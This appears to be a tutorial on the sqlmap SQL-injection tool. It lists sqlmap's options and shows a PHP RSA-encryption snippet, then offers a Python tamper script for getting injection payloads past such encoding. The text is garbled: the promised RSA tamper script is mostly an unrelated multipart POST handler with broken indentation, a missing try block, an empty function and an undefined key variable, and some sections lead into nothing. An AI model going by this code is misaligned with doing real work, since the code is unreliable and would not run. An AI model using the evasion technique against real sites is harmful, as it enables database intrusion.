sqlmap is an attack tool which can be effectively used to perform SQL injection attacks and post exploitation acts. It is a versatile tool when it comes to SQL injections. Most security professionals use sqlmap for SQL injection related pen tests.

sqlmap is a modular framework written in Python. It can detect most of the SQL injection flaws across the different platforms. The following databases are supported: ySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase and SAP MaxDB.

After exploitation is successful, it can enumerate databases and tables and also can dump database and tables.

This tool can be downloaded from: http://sqlmap.org/

In this tutorial we will explore a very powerful feature of sqlmap: .ie tamper scripts. Usually when you are trying to exploit an SQL injection flaw, the most basic and conventional attack vector is http. Now what if the medium is different or if it is using some kind of different encoding? That’s where tamper scripts come in to help. We can use tamper scripts to decode and encode data before it is passed to sqlmap.

sqlmap introduction

After downloading sql map from the website, sqlmap can be started using the sqlmap command in the install directory.

Following is the basic usage of sqlmap.


At least one of these options has to be provided to set the target(s).

-d DIRECT Direct connection to the database
-u URL, –url=URL Target URL (e.g. “www.target.com/vuln.php?id=1″)
-l LOGFILE Parse targets from Burp or WebScarab proxy logs
-m BULKFILE Scan multiple targets enlisted in a given textual file
-r REQUESTFILE Load HTTP request from a file
-g GOOGLEDORK Process Google dork results as target URLs
-c CONFIGFILE Load options from a configuration INI file


These options can be used to specify how to connect to the target URL.

–data=DATA Data string to be sent through POST
–param-del=PDEL Character used for splitting parameter values
–cookie=COOKIE HTTP Cookie header
–cookie-del=CDEL Character used for splitting cookie values
–load-cookies=L.. File containing cookies in Netscape/wget format
–drop-set-cookie Ignore Set-Cookie header from response
–user-agent=AGENT HTTP User-Agent header
–random-agent Use randomly selected HTTP User-Agent header
–host=HOST HTTP Host header
–referer=REFERER HTTP Referer header
–headers=HEADERS Extra headers (e.g. “Accept-Language: fr\nETag: 123″)

It also supports a Python based API . You can include this file in your Python script to automate and run sqlmap.

Sqlmapapi.py can be used to start A RPC server for sqlmap.

if args.server is True:
server(args.host, args.port)
elif args.client is True:
client(args.host, args.port)

Now let’s try to harness the power of sqlmap and perform a local attack using SQL injection.

After successfully exploiting the server, we can perform the following post exploitation attacks:

Defeating encoding using tamper scripts

One of the most beautiful things about sqlmap is that it can be extended to work on custom encoding. Usually many tools or conventional SQL injectors fail on custom encoding schemes. We can write tamper scripts for sqlmap to bypass encoding.

Let’s consider this situation where the data in the web application is encoded before passed to a function.

 $publicKey = openssl_get_publickey(file_get_contents("$dir/pubkey_rsa.pem"));

// encrypt the data
openssl_seal($data, $sealed, $ekeys, array($publicKey));


$sealed = base64_encode($sealed);

$privateKey = openssl_get_privatekey(file_get_contents("$dir/privkey_rsa.pem"));

openssl_open(base64_decode($sealed), $opened, base64_decode($Xevk), $privateKey)
	or die(openssl_error_string());



We can write a tamper script to encrypt the data in RSA format. The following script shows how to tamper the data in RSA format.

import base64
from Crypto.PublicKey import RSA
from Crypto import Random

from lib.core.enums import PRIORITY
from lib.core.settings import UNICODE_ENCODING

class MultipartPostHandler(urllib2.BaseHandler):
    handler_order = urllib2.HTTPHandler.handler_order - 10 # needs to run first

    def http_request(self, request):
        data = request.get_data()

        if data is not None and type(data) != str:
            v_files = []
            v_vars = []

                for(key, value) in data.items():
                    if isinstance(value, file) or hasattr(value, 'file') or isinstance(value, StringIO.StringIO):
                        v_files.append((key, value))
                        v_vars.append((key, value))
            except TypeError:
                systype, value, traceback = sys.exc_info()
                raise SqlmapDataException, "not a valid non-string sequence or mapping object", traceback

            if len(v_files) == 0:
                data = urllib.urlencode(v_vars, doseq)
                boundary, data = self.multipart_encode(v_vars, v_files)
                contenttype = 'multipart/form-data; boundary=%s' % boundary
                #if (request.has_header('Content-Type') and request.get_header('Content-Type').find('multipart/form-data') != 0):
                #    print "Replacing %s with %s" % (request.get_header('content-type'), 'multipart/form-data')
                request.add_unredirected_header('Content-Type', contenttype)

        return request

    def multipart_encode(vars, files, boundary = None, buf = None):
        if boundary is None:
            boundary = mimetools.choose_boundary()

        if buf is None:
            buf = ''

        for (key, value) in vars:
            buf += '--%s\r\n' % boundary
            buf += 'Content-Disposition: form-data; name="%s"' % key
            buf += '\r\n\r\n' + value + '\r\n'

        for (key, fd) in files:
            file_size = os.fstat(fd.fileno())[stat.ST_SIZE] if isinstance(fd, file) else fd.len
            filename = fd.name.split('/')[-1] if '/' in fd.name else fd.name.split('\\')[-1]
            contenttype = mimetypes.guess_type(filename)[0] or 'application/octet-stream'
            buf += '--%s\r\n' % boundary
            buf += 'Content-Disposition: form-data; name="%s"; filename="%s"\r\n' % (key, filename)
            buf += 'Content-Type: %s\r\n' % contenttype
            # buf += 'Content-Length: %s\r\n' % file_size

            buf = str(buf)
            buf += '\r\n%s\r\n' % fd.read()

        buf += '--%s--\r\n\r\n' % boundary

        return boundary, buf
__priority__ = PRIORITY.LOWEST

def dependencies():

def tamper(payload, **kwargs):
    Encrypts payload in RSA format

    random_generator = Random.new().read
    public_key = key.publickey()
    enc_data = public_key.encrypt(payload, 32)

    return enc_data